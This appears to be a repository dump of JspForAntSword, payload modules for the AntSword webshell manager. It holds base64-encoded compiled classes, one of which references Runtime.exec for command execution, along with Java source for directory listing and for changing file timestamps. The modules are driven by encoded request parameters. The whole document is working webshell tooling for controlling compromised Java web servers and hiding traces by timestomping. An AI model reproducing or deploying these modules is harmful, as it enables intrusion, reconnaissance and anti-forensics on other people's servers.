nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABWNsb3NlACEAYQBGAAAABAABAGIAYwAAAAEAZABlAAAAAQBmAGcAAAABAGgAZwAAAAcAAQBpAGoAAQBrAAAALwACAAEAAAAPKrcAASoBtQACKgG1AAOxAAAAAQBsAAAADgADAAAACgAEAAsACQAMAAEAbQBuAAEAawAAAywABQAGAAAB8CvBAASZACErwAAETSostgAFwAAGtQACKiy2AAfAAAi1AAOnAKwrwQAGmQBSKivAAAa1AAIqtAACtgAJEgq2AAtNLAS2AAwsKrQAArYADcAABk4ttgAJEg62AAs6BBkEBLYADCoZBC22AA3AAAi1AAOnAF5NLLYAEKcAVivBAAiZAE8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 -------------------------------------------------------------------------------- /FileTreeCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/FileTreeCode.class -------------------------------------------------------------------------------- /FileTreeCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.lang.reflect.Field; 7 | import java.text.SimpleDateFormat; 8 | 9 | public class FileTreeCode { 10 | public HttpServletRequest request = null; 11 | public HttpServletResponse response = null; 12 | public String encoder; 13 | public String cs; 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder")!=null?request.getParameter("encoder"):""; 47 | cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var1 = EC(decode(request.getParameter("var1")+"")); 55 | output.append("->" + "|"); 56 | sb.append(FileTreeCode(var1)); 57 | output.append(sb.toString()); 58 | output.append("|" + "<-"); 59 | response.getWriter().print(output.toString()); 60 | } catch (Exception e) { 61 | sb.append("ERROR" + ":// " + e.toString()); 62 | } 63 | return true; 64 | } 65 | String EC(String s) throws Exception { 66 | if(encoder.equals("hex")) return s; 67 | return new String(s.getBytes(), cs); 68 | } 69 | String decode(String str) throws Exception { 70 | if (encoder.equals("hex")) { 71 | if(str==null||str.equals("")){ 72 | return ""; 73 | } 74 | String hexString = "0123456789ABCDEF"; 75 | str = str.toUpperCase(); 76 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 77 | String ss = ""; 78 | for (int i = 0; i < str.length(); i += 2) { 79 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 80 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 81 | } 82 | return baos.toString("UTF-8"); 83 | } else if (encoder.equals("base64")) { 84 | byte[] bt = null; 85 | try { 86 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 87 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 88 | } catch (ClassNotFoundException e) { 89 | Class clazz = Class.forName("java.util.Base64"); 90 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 91 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 92 | } 93 | return new String(bt, "UTF-8"); 94 | } 95 | return str; 96 | } 97 | String FileTreeCode(String dirPath) throws Exception { 98 | File oF = new File(dirPath), l[] = oF.listFiles(); 99 | String s = "", sT, sQ, sF = ""; 100 | java.util.Date dt; 101 | String fileCode=(String)System.getProperties().get("file.encoding"); 102 | SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 103 | for (int i = 0; i < l.length; i++) { 104 | dt = new java.util.Date(l[i].lastModified()); 105 | sT = fm.format(dt); 106 | sQ = l[i].canRead() ? "R" : ""; 107 | sQ += l[i].canWrite() ? " W" : ""; 108 | String nm = new String(l[i].getName().getBytes(fileCode), cs); 109 | if (l[i].isDirectory()) { 110 | s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; 111 | } else { 112 | sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; 113 | } 114 | } 115 | s += sF; 116 | return new String(s.getBytes(fileCode), cs); 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /FileTreeCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIBKgoARQCICQBlAIkJAGUAigcAiwoABACMBwCNCgAEAI4HAI8KAEUAkAgAZgoAQgCRCgCSAJMKAJIAlAgAaAcAlQoADwCWCABqCwAGAJcIAJgJAGUAmQgAmggAmwkAZQCcBwCdCgAYAJ4IAJ8LAAgAoAsABgChCwAIAKEHAKIKAB4AiAgAowoAHgCkCgAeAKUKAGUApgoAZQCnCACoCgAYAKkKAGUAqgoAGAClCACrCwAIAKwKAK0ArggArwoADwClCACwCgAwALEHALIKADAAswoAMAC0CAC1CgAwALYHALcKADAAuAoANQC5CgAwALoKADAAuwoAHgC8CAC9CgA1AL4KADUAvwgAwAgAwQoAQgDCCADDBwDECgBCAMUKAEIAxgcAxwoAyADJBwDKBwDLCADMCADNCAB9BwDOCgBMAJ4KAEwAzwoA0ADRCADSCgDTAJQHANQIANUKAFIAngcA1goATADXCgBVANgKAFIA2QoATADaCADbCgBMANwIAN0KAEwA3goAMADfCgBMAOAIAOEIAOIKAEwA4woAHgDkCADlBwCAAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2VuY29kZXIBABJMamF2YS9sYW5nL1N0cmluZzsBAAJjcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwCVBwCABwCABwDHBwCyBwCdAQACRUMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHALcHAMsBAAxGaWxlVHJlZUNvZGUHAM4HAOYHANQHANYHAKIBAApTb3VyY2VGaWxlAQARRmlsZVRyZWVDb2RlLmphdmEMAG0AbgwAZgBnDABoAGkBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA5wDoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA6QDqAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAOsA7AwA7QDuBwDvDADwAPEMAPIA8wEAE2phdmEvbGFuZy9FeGNlcHRpb24MAPQAbgwA9QB7AQAADABqAGsBAAdjaGFyc2V0AQAFVVRGLTgMAGwAawEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAG0A9gEACXRleHQvaHRtbAwA9wD2DAD4APYBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAPkA+gwA+wD8DAB9AHsMAHoAewEAAy0+fAwA+QD9DACAAHsBAAN8PC0MAP4A/wcBAAwBAQD2AQAJRVJST1I6Ly8gAQADaGV4DABxAHIBABBqYXZhL2xhbmcvU3RyaW5nDAECAQMMAG0BBAEAEDAxMjM0NTY3ODlBQkNERUYMAQUA/AEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAEGAQcMAG0BCAwBCQEKDAELAQwMAPkBDQEAASwMAQ4BCAwA+wB7AQAGYmFzZTY0AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwBDwEQAQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzDAERARIMARMBFAEAEGphdmEvbGFuZy9PYmplY3QHARUMARYBFwEAAltCAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RGVjb2RlcgEADGphdmEvaW8vRmlsZQwBGAEZBwEaDAEbARwBAA1maWxlLmVuY29kaW5nBwEdAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQBABN5eXl5LU1NLWRkIEhIOm1tOnNzAQAOamF2YS91dGlsL0RhdGUMAR4BHwwAbQEgDAEhASIMASMBJAEAAVIMASUBJAEAAiBXDAEmAPwMAQIBJwwBKAEkAQACLwkBAAEJDAEGAR8MAPkBKQEAAQoBAA9bTGphdmEvaW8vRmlsZTsBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2Jq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 -------------------------------------------------------------------------------- /ModifyFileOrDirTimeCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/ModifyFileOrDirTimeCode.class -------------------------------------------------------------------------------- /ModifyFileOrDirTimeCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.lang.reflect.Field; 7 | import java.text.SimpleDateFormat; 8 | 9 | public class ModifyFileOrDirTimeCode { 10 | public HttpServletRequest request = null; 11 | public HttpServletResponse response = null; 12 | public String encoder; 13 | public String cs; 14 | 15 | @Override 16 | public boolean equals(Object obj) { 17 | if (obj instanceof PageContext) { 18 | PageContext page = (PageContext) obj; 19 | request = (HttpServletRequest) page.getRequest(); 20 | response = (HttpServletResponse) page.getResponse(); 21 | } else if (obj instanceof HttpServletRequest) { 22 | request = (HttpServletRequest) obj; 23 | try { 24 | Field req = request.getClass().getDeclaredField("request"); 25 | req.setAccessible(true); 26 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 27 | Field resp = request2.getClass().getDeclaredField("response"); 28 | resp.setAccessible(true); 29 | response = (HttpServletResponse) resp.get(request2); 30 | } catch (Exception e) { 31 | e.printStackTrace(); 32 | } 33 | 34 | } else if (obj instanceof HttpServletResponse) { 35 | response = (HttpServletResponse) obj; 36 | try { 37 | Field resp = response.getClass().getDeclaredField("response"); 38 | resp.setAccessible(true); 39 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 40 | Field req = response2.getClass().getDeclaredField("request"); 41 | req.setAccessible(true); 42 | request = (HttpServletRequest) req.get(response2); 43 | } catch (Exception e) { 44 | e.printStackTrace(); 45 | } 46 | } 47 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 48 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 49 | StringBuffer output = new StringBuffer(""); 50 | StringBuffer sb = new StringBuffer(""); 51 | try { 52 | response.setContentType("text/html"); 53 | request.setCharacterEncoding(cs); 54 | response.setCharacterEncoding(cs); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | String var2 = EC(decode(request.getParameter("var2") + "")); 57 | output.append("->" + "|"); 58 | sb.append(ModifyFileOrDirTimeCode(var1, var2)); 59 | output.append(sb.toString()); 60 | output.append("|" + "<-"); 61 | response.getWriter().print(output.toString()); 62 | } catch (Exception e) { 63 | sb.append("ERROR" + ":// " + e.toString()); 64 | } 65 | return true; 66 | } 67 | 68 | String EC(String s) throws Exception { 69 | if (encoder.equals("hex")) return s; 70 | return new String(s.getBytes(), cs); 71 | } 72 | 73 | String decode(String str) throws Exception { 74 | if (encoder.equals("hex")) { 75 | if (str == null || str.equals("")) { 76 | return ""; 77 | } 78 | String hexString = "0123456789ABCDEF"; 79 | str = str.toUpperCase(); 80 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 81 | String ss = ""; 82 | for (int i = 0; i < str.length(); i += 2) { 83 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 84 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 85 | } 86 | return baos.toString("UTF-8"); 87 | } else if (encoder.equals("base64")) { 88 | byte[] bt = null; 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 92 | } catch (ClassNotFoundException e) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 95 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 96 | } 97 | return new String(bt, "UTF-8"); 98 | } 99 | return str; 100 | } 101 | 102 | String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { 103 | File f = new File(fileOrDirPath); 104 | SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 105 | java.util.Date dt = fm.parse(aTime); 106 | f.setLastModified(dt.getTime()); 107 | return "1"; 108 | } 109 | 110 | } 111 | -------------------------------------------------------------------------------- /ModifyFileOrDirTimeCode.txt: -------------------------------------------------------------------------------- 1 | 